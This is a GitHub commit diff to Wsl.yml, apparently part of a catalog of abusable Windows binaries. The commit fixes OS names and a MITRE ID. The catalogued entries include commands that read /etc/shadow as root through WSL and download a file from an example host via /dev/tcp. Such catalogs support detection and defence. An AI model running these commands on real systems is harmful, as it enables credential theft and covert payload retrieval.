Skip to content

Commit

Permalink
Update Wsl.yml
Browse files Browse the repository at this point in the history
  • Loading branch information
wietze authored Jun 6, 2024
1 parent 5644dcc commit 2bd7157
Showing 1 changed file with 6 additions and 6 deletions.
12 changes: 6 additions & 6 deletions yml/OtherMSBinaries/Wsl.yml
Original file line number Diff line number Diff line change
Expand Up @@ -10,28 +10,28 @@ Commands:
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server, Windows 11
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
- Command: wsl.exe -u root -e cat /etc/shadow
Description: Cats /etc/shadow file as root
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server, Windows 11
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
- Command: wsl.exe --exec bash -c "<command>"
Description: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)
Description: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)
Usecase: Performs execution of arbitrary Linux commands.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server, Windows 11
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Description: Downloads file from 192.168.1.10
Usecase: Download file
Category: Download
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server, Windows 11
MitreID: T1105
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
Full_Path:
- Path: C:\Windows\System32\wsl.exe
Code_Sample:
Expand Down

0 comments on commit 2bd7157

Please sign in to comment.